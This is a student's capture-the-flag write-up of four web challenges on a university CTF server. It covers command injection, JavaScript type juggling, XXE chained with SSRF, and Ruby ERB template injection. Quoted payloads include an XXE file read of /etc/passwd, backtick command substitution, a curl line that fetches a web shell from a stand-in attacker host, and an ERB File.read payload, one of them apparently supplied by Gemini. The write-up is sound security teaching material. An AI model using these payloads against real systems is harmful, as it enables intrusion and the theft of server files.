

Problem ID	Captured Flags	Steps
l33t-44s	fsuCTF{wh9_h057_4ny7h1ng_0n_pr3m_wh3n_u_c0u1d_b3_1337}	1. Read the README and learn all the command options 2. Open burp and poke around and find an options parameter in the post request 3. Mess around with the options parameter using the flag -e to start a command injection 4. Use a command injection bypass method from PayloadAllThings to correctly inject the command 5. Use the -o flag to remove unnecessarily l33ted output and get the flag
fat_cat	fsuCTF{1f_1_f17s_1_5i7s}	1. Find the parameter feed 2. Try to make it an array to make it a really large number to satisfy the if statement 3. Use the attribute length to turn feed into an object and then give it a number larger than the hex number in the if statement
surfing	fsuCTF{w4v3_4_fl4g}	1. Open in burp suite and see that everything is sent over via base64 encoded xml 2. Test various payloads and find the blacklist in the source code 3. Use XXE and SSRF to maneuver around the black list 4. Get the IP through etc/hosts and

		find out that port 5001 is open 5. Create the XXE/SSRF payload, base64 encode it and get the flag
Crazy	fsuCTF{l_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yd3_M3_Cr4zy}	1. Figure out it is a SSTI vulnerability 2. Test various languages and find out it is Ruby 3. Test various SSTI Ruby payloads 4. Find the variable erbout and manipulate that to get the flag

l33t-44s

L33T-4S-4-S3RV1C3

I made a neat little utility that converts boring plaintext into l33tsp34k (and it's [open source](#) too). And since everyone's going on about SaaS these days, I figured I'd get in with the trend.

Oh and btw you should check the docs if you're wondering what these options do ;)

INPUT:

> data_to_be_leeted

OPTIONS:

☐ CTF Mode ☐ Random Mode

EXECUTE

First I am greeted with this page explaining how the website works. Basically it is a text converter that “l33ts” your inputted text. It guides us to its open source github so we can check out the source code and README file.

leetspeak generator

Very simple leetspeak generator. Quickly written because I wanted a specific set of features and only those features. Usage below.

```
Usage: leet [OPTION]
Convert plaintext to leetspeak.

Reads from stdin and prints to stdout. Stops at EOF

-o [num]      oddity, the chance that it will skip a character, follows the formula 1/[num].
-c           ctf mode, ignores charactes before the '{'
-r           appends an underscore plus a random string of 8 characters before the '}'
-e [command] executes a command and returns its leet-encoded output
-h           displays this help menu.
```

Immediately this README caught my eye because according to the webpage, there are only two selectable options. Those being CTF mode and Random mode. On further evaluation I notice the `-e` command which “executes a command AND returns its... output.” This is highly significant because this option will allow us to execute a command injection. So my next step is to find how to make that selection from outside of the webpage.

http://ctf.cs.fsu.edu:65017	GET	/		200	8113	HTML	l33t-4s-4-S3rV1c3
http://ctf.cs.fsu.edu:65017	POST	/	✓	200	6258	HTML	l33t-4s-4-S3rV1c3
http://ctf.cs.fsu.edu:65017	POST	/	✓	200	6364	HTML	l33t-4s-4-S3rV1c3

```
payload=%3B&options=
```

I check the POST request is burpsuite where I send a semicolon trying to see if I could break the system somehow. Obviously that was a failure, but I now notice the options parameter in the POST request. So I send this request to the repeater for some testing:

```
*
; payload=nothing&options=-e+ls
```

I used this command because I wanted to see all the files in the directory to see which one I needed to target AND if command injection is even possible using the `-e` flag. This gives me the following result:

```

<div class="terminal-window">
  <span style="color: var(--secondary)">
    > OUTPUT_LOG:
  </span>
  <br>
  <br>
  D0ck3rfil3
  __pyc4ch3__
  4pp.py
  d3fini731y_n07_7h3_f146.7x7
  1337
  1337.c
  r3quir3m3n75.7x7
  5747ic
  v3nv
  w56i.py

```

I also wanted this de-l33ded so I use the -c flag in the next attempts as well and find the flag file:

```

definitely_not_the_flag.txt

```

I use the next command to try to open and read the file:

```

4 |
5 | payload=nothing&options=-e+cd+definitely_not_the_flag.txt+-c

```

And get this message back:

```

<br>
<br>
Your options look (&#39;flag&#39;) malicious so
I&#39;ve blocked it.
/div>

```

After some testing I realized that the program has a blacklist of ONLY the word flag, therefore it cannot be used in the payload. Also I also realized that I cannot change directories into a text file so I switched it to cat which should output the file into the terminal to read. So with those rules / changes in mind I use the following command because I know you can use the wildcard '*' to select files that start with certain words. I.e def* == definitely_not_the_flag.txt.

```

payload=nothing&options=-e+cat+def*+-c

```

```
<pr>
cat: -: Bad file descriptor
cat: closing standard input: Bad file descriptor
```

My payload did not work because of a “bad file descriptor.” The hint says there is no real blacklist so I move over to PayloadAllThings to try to find a work around:

Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.

- curl

```
# -o, --output <file>      Write to file instead of stdout
curl http://evil.attacker.com/ -o webservell.php
```

Inside A Command

- Command injection using backticks.

```
original_cmd_by_server `cat /etc/passwd`
```

- Command injection using substitution

```
original_cmd_by_server $(cat /etc/passwd)
```

I try the backticks method with the following payload:

```
payload=nothing&options=-e+`cat+def*`+-c
sh: 1: fsuCTF{wh9_h057_4ny7h1n6_On_pr3m_wh3n_u_c0uld_83_1337}: n07 f0und
```

And I got the flag! Or so I thought. This is actually not the flag. I asked for a hint from Daniel and he said I was close but was not using ONE command. So I went back to the README and say the -o option which skips based on a certain level of change that you provide. I also noticed that the NOT FOUND was l33ted which led me to believe that I need this command to skip over at least the end in order for this to be correct. So, not really knowing what the -o flag does, I add it to my injection with the parameter 1 to start to see what it does:

```
payload=nothing&options=-e+`cat+def*`+-c+-o+1
sh: 1: fsuCTF{wh9_h057_4ny7h1ng_On_pr3m_wh3n_u_c0uld_b3_1337}: not found
```

Which gave me the correct flag: fsuCTF{wh9_h057_4ny7h1ng_On_pr3m_wh3n_u_c0uld_b3_1337}

fat_cat

THE CAT IS WAITING...



He requires a massive offering to be satisfied.

FEED HIM

I am greeted with the following page I enter in an offering that being: LARGE

NOT ENOUGH FOOD



THE CAT DEMANDS MORE...

TRY AGAIN

And I get the /still-hungry page. I tried going to /satisfied or /not-hungry and none of those by-passes worked so I check out the source code file that was given with the problem:

```
<body>
  <h1>ABSOLUTE UNIT</h1>

  <div class="cat-container">
    
  </div>

  <div class="flag">
    FLAG: ${process.env.FLAG || "FLAG_NOT_SET"}
  </div>
</body>
```

And I find that if you send over enough “food” or in this case bytes that is greater than B16_C4A6A5, then you get the flag. So I open burp suite and poke around:

http://ctf.cs.fsu.edu:65018	POST	/feed	✓	302	270	HTML
http://ctf.cs.fsu.edu:65018	GET	/feed				

food=LARGE

I find my POST request with my information in the parameter of the request. I remember from class that you can turn this parameter into an array so send large amounts of information so:

```
4  
5 food[10000000000000]=LARGE
```

```
<p> Found. Redirecting to /still-hungry
</p>
```

And it turns out I was wrong! So I redirect my approach back to the code where I notice that food has an attribute called “length.” I can turn food into an object by using `food[length]=` and in JavaScript, when you compare a string to a number, it automatically casts the string to a number, making the condition true.

```
5 food[length]=47627150503
```

I got the number from converting te Hex into Decimal and then adding one to the number and got:

```
<div class="flag">
    FLAG: fsuCTF{1f_1_f17s_1_5i7s}
</div>
```

The flag which is: fsuCTF{1f_1_f17s_1_5i7s}

Surfing

Surfboard Invoice Submission

Please submit the billing details for the recent order.

Customer Name:

Surfboard Model:

The Longboard Classic

Quantity:

Submit Invoice

Invoice successfully created for customer: s.
Order: 1 x Longboard Surfboard(s).

I am first given this page as the home page. I randomly input some data and open the page in burp as well.

http://ctf.cs.fsu.edu:65016	POST	/process_invoice	✓	200	257	script
http://ctf.cs.fsu.edu:65016	POST	/process_invoice	✓	200	251	script
http://ctf.cs.fsu.edu:65016	POST	/process_invoice	✓	200	263	script

I check the Post request and notice it is a request titled `/process_invoice` and in its body contains a base64 encoded version of my input

```
8 Origin: http://ctf.cs.fsu.edu:65016
9 Referer: http://ctf.cs.fsu.edu:65016/
0 Accept-Encoding: gzip, deflate, br
1 Connection: keep-alive
2
3 PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPGludm9pY2U+CiAgIC
A8bmFtZT5UeWxlciBGaW5rPC9uYW1lPogICAgPGlvZGVSPkxvbmdib2FyZDwvbW9kZWw+
CiAgICA8cXVhbnRpdHk+MjwvcXVhbnRpdHk+CjwvaW52b2ljZT4=
```

So I decode the base64 to see how it is getting formatted:


```
<?xml version="1.0" encoding="UTF-8"?>
<invoice>
  <name>Tyler Fink</name>
  <model>Longboard</model>
  <quantity>2</quantity>
</invoice>
```

Immediately I know this is an XXE attack from the format of the request. Therefore I go to payload all things and try the first things I find:

Classic XXE

We try to display the content of the file `/etc/passwd`.

```
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
```

```
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
```

I tried all of these but they returned what seemed to be nothing so I checked the source code given to me:

```

class BlockFileResolver(etree.Resolver):
    def resolve(self, url, public_id, context):
        if url.lower().startswith("file:") or \
           url.lower().startswith("/") or \
           url.lower().startswith("\\") or \
           "internal" in url.lower() or \
           "etc/passwd" in url.lower() or \
           "flag" in url.lower():
            return self.resolve_string("", context)
        return None

@app.route('/')
def index():
    return render_template('index.html')

```

This code shows that anything with starts with or contains certain characters in the url will be blacklisted. But from what I learned in class I know that blacklists can be exploited much easier than white lists. I go back to payload all things to find a workaround:

XXE can be combined with the [SSRF vulnerability](#) to target another service on the network.

```

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>

```

I find this payload that combines XXE with SSRF and I know I am on the right track with this through various tests. So I then start looking into SSRF work arounds to avoid the keyword "internal":

- Using 127.0.0.1

```

http://127.0.0.1:80
http://127.0.0.1:22
https://127.0.0.1:443

```

I found this which shows that you can use the IP address instead of the internal-service and still get the same results. I know that I can also access and print out folders through various testing so I navigate and open the etc/hosts folder through the following payload:

```
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE foo [  
    <!ENTITY xxe SYSTEM "../../../../../../../etc/passwd">  
>  
</order>  
    <customer>Sam</customer>  
    <model>&xxe;</model>  
    <quantity>1</quantity>  
</order>
```

Which I convert to base64 and run through the POST parameter in burp in the repeater:

```

10 Accept-Encoding: gzip, deflate, br
11 Connection: keep-alive
12
13 PD94bWwgdmVyc2lvbjoIMS4wIiBlbmNvZGluc2UiVVRGLTgiPz4KPCFETONUWVBFIzGvbyBbCiAgPCFFFTlRlVfkeHhlfFNZU1RFTS
14 Aili4vLi4vLi4vLi4vLi4vLi4vZXRjL2hvc3RzIj4KXT4KPG9yZGVyPogIdXjdXN0b21lcj5TYW08L2N1c3RvbWVvPogIdXtb2Rl
15 bD4meHhlf0zwvbW9kZWw+CiAgPghF1YW50aXRSPjE8L3F1YW50aXRSPgo8L29yZGVyPg==
16

```

```

7
8 Invoice successfully created for customer: None.
9 Order: 1 x 127.0.0.1      localhost
0 ::1 localhost ip6-localhost ip6-loopback
1 fe00::      ip6-localnet
2 ff00::      ip6-mcastprefix
3 ff02::1     ip6-allnodes
4 ff02::2     ip6-allrouters
5 172.30.0.2   9139590b07c1
6 Surfboard(s).

```

So the IP address is 172.30.0.2. I tried a payload with this using the port 5000. This did not work, I went to office hours and Ryan pointed out to me that our first assignment was a scavenger hunt and I found the following comment in the HTML:

```
<input type="text" id="name" name="name" placeholder="Name"
  " required">
<!--DELETE THIS COMMENT dev environ on port 5001 -->
<label for="model">
  Surfboard Model:
</label>
```

Meaning there is an open port on 5001. So I change my payload to this:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE order [
  <!ENTITY xxe SYSTEM "http://172.30.0.2:5001/">
]>
<order>
  <name>Sam</name>
  <model>&xxe;</model>
  <quantity>1</quantity>
</order>
```

I base64 encode it and run it how I have been:

```

10 Accept-Encoding: gzip, deflate, br
11 Connection: keep-alive
12
13 PD94bWwgdmlvY2Vyb2I0MS4wIiBlbmNvZGUzZ2oiVVRGLTgiPz4KPCFET0NUWVBFIG9yZGVyIFsKIAB8IUUOVElUSW84eGUGU1ltVE
VNIcJodHRwOi8vMTcyLjMwLjAuMjoiMDAeLyI+Cl0+CjxvcmRlcj4KIAB8bmFtZT5TYW08L25hbWU+CjAgPGlvZGVzPSiZ4eGU7PC9t
b2RlbdD4KIAB8cXVhbnRpdDhk+MTwvcXVhbnRpdHk+CjxwY3JkZXI+

```

```
7 Invoice successfully created for customer: Sam.  
8 Order: 1 x fsuCTF{w4v3_4_fl4g} Surfboard(s).|
```

Flag: fsuCTF{w4v3_4_fl4g}

Crazy

What made me Crazy?

Errors

Submit

We are given the following webpage with the text input. When we input text we are given the following page:

[illegible]

After numerous attempts at multiple exploits I narrowed it down to a server side template injection.

After that it was a matter of figuring out what language this was written in. After various inputs I found the ruby input that changed the output of the program:

$$\langle \% = 7 * 7 \% \rangle$$

I might be crazy but I still know how Ruby works.

After hitting this wall that I now know the language is Ruby but that specific input does not work I just played around with that payload and found that this payload gave a certain error:

$$\langle \% = 7 * 7 \% \rangle$$

```
(erb):1: syntax error, unexpected '=' ...r room filled with ".freeze; = 7*7 ; _erbout.<< ". The ".fr... ... ^
```

I plugged this error into Gemini and explained that it is a SSTI. And it gave me the following payload:

answer into the server's page builder variable. The `SyntaxError` you shared revealed that this variable is named `erbout`.

Try this exact payload:

Ruby

```
<% _erbout << (7*7).to_s %>
```

I was crazy once. They locked me in a rubber room. A rubber room filled with 49. The 49 made me crazy. I was crazy once. They locked me in a rubber room. A rubber room filled with 49. The 49 made me crazy. I was crazy once. They locked me in a rubber room. A rubber room filled with 49.

This finally gives us the output that allows us to manipulate the SSTI. So all we have to do is replace 7*7 with flag.txt and add a File.read command like in Payload All Things we get:

```
<%= File.open('/etc/passwd').read %>
```

```
<% _erbout << File.read('flag.txt') %>
```

I was crazy once. They locked me in a rubber room. A rubber room filled with `fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yD3_M3_Cr4zy}`. The `fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yD3_M3_Cr4zy}` made me crazy. I was crazy once. They locked me in a rubber room. A rubber room filled with `fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yD3_M3_Cr4zy}`. The `fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yD3_M3_Cr4zy}` made me crazy. I was crazy once. They locked me in a rubber room. A rubber room filled with `fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yD3_M3_Cr4zy}`. The `fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yD3_M3_Cr4zy}` made me crazy. I was crazy once. They locked me in a rubber room. A rubber room filled with `fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yD3_M3_Cr4zy}`. The `fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yD3_M3_Cr4zy}` made me crazy. I was crazy once. They locked me in a rubber room. A rubber room filled with `fsuCTF{I_W45_Cr4zy_0nc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yD3_M3_Cr4zy}`.

Flag:

```
fsuCTF{I_W45_Cr4zy_Onc3_7h3y_10ck3d_M3_In_4_R00m_4_Ru883r_R00m_4_Ru883r_R00m_Fi113d_Wi7h_C7F_7h3_C7F_M4yd3_M3_Cr4zy}
```